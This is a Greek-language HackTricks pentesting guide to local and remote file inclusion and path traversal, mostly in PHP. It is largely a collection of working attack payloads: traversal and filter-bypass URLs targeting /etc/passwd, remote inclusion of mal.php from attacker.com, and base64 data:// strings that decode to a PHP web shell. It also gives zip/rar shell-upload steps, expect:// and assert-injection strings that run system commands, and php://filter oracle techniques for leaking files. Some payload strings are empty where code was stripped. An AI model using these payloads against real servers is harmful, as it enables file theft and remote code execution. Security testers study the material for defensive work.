# File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
## File Inclusion
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια συμβαίνει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Συνδυάζοντας αρκετές λίστες LFI από \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Συγχώνευση διαφορετικών λιστών λέξεων:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` σε `\`\
Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Ελέγξτε τη λίστα LFI του linux.
## Basic LFI and bypasses
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion (σελίδα=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
### ακολουθίες διαδρομής χωρίς αναδρομή
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Παράκαμψη της προσθήκης περισσότερων χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (παράκαμψη του: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Αυτό έχει **λυθεί από το PHP 5.4**
### **Κωδικοποίηση**
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως η διπλή κωδικοποίηση URL (και άλλες):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Από υπάρχον φάκελο
Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή που ακολουθεί, υποδεικνύοντας βάθος τριών:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Δοκιμή για Φακέλους:** Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Τεχνική Τραυματισμού Διαδρομής**
Ο τραυματισμός διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, και `/etc/passwd/` θεωρούνται όλες η ίδια διαδρομή.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε τον τραυματισμό διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι γύρω στο 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- **Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες**: Ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στη ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
### **Τεχνικές παράκαμψης φίλτρων**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε `.txt`, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64, αυτό το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
Ένα άλλο παράδειγμα **χωρίς τη χρήση του πρωτοκόλλου `php://`** θα ήταν:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
Στην python σε έναν κώδικα όπως αυτός:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Είναι η προορισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
## Java Λίστα Καταλόγων
Φαίνεται ότι αν έχετε Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για ένα αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).
## Κορυφαίοι 25 παράμετροι
Ακολουθεί λίστα με τους κορυφαίους 25 παράγοντες που θα μπορούσαν να είναι ευάλωτοι σε τοπικές ευπάθειες συμπερίληψης αρχείων (LFI) (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα
### php://filter
Οι φίλτροι PHP επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν διαβαστούν ή γραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα όσα βρίσκονται μεταξύ των χαρακτήρων "<" και ">")
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv..`). Για να αποκτήσετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται, εκτελέστε στην κονσόλα: `iconv -l`
> [!WARNING]
> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες, ελέγξτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες)
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Απαρχαιωμένο
- `mdecrypt.*` : Απαρχαιωμένο
- Άλλα Φίλτρα
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναμενόμενα φίλτρα**:
- `consumed`
- `dechunk`: αναστρέφει την κωδικοποίηση HTTP chunked
- `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Το μέρος "php://filter" είναι ευαίσθητο σε πεζά και κεφαλαία
### Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια **boolean εξαγωγή του αρχείου (χαρακτήρας προς χαρακτήρα) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.
Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
- Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Διότι αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, διότι αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, ρ, σ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγουμε το περιεχόμενο των ανοιχτών αρχείων:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout και php://stderr** για να αποκτήσετε πρόσβαση στους **file descriptors 0, 1 και 2** αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
### zip:// και rar://
Ανεβάστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
Για να μπορέσετε να εκμεταλλευτείτε το πρωτόκολλο rar, **πρέπει να ενεργοποιηθεί συγκεκριμένα**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
```
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php **`allow_url_open`** και **`allow_url_include`**
### expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Καθορίστε το payload σας στις παραμέτρους POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
```php
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
$phar->stopBuffering();
```
Για να συμπεριληφθεί το αρχείο `.phar`, θα πρέπει να εκτελεστεί η παρακάτω εντολή:
```bash
php --define phar.readonly=0 create_path.php
```
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα εντός τους, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυμπίεσης στο πλαίσιο των αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{{#ref}}
phar-deserialization.md
{{#endref}}
### CVE-2024-2961
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
### Περισσότερα πρωτόκολλα
Ελέγξτε περισσότερα πιθανά [**πρωτόκολλα για να συμπεριληφθούν εδώ**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα Συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
## LFI μέσω της 'assert' της PHP
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα εντός συμβολοσειρών. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διανύσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί κανείς να χρησιμοποιήσει:
```plaintext
' and die(system("id")) or '
```
Είναι σημαντικό να **URL-κωδικοποιήσετε αυτά τα payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου **ελέγχετε** τη **διαδρομή αρχείου** μιας **λειτουργίας PHP** που θα **πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη **`file()`**) αλλά το περιεχόμενο δεν εμφανίζεται.
Στο [**αυτό το απίστευτο άρθρο**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή πρόσβασης μέσω φίλτρου PHP για να **εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle**.
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **λειτουργία PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
Στη συνέχεια, προκειμένου να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
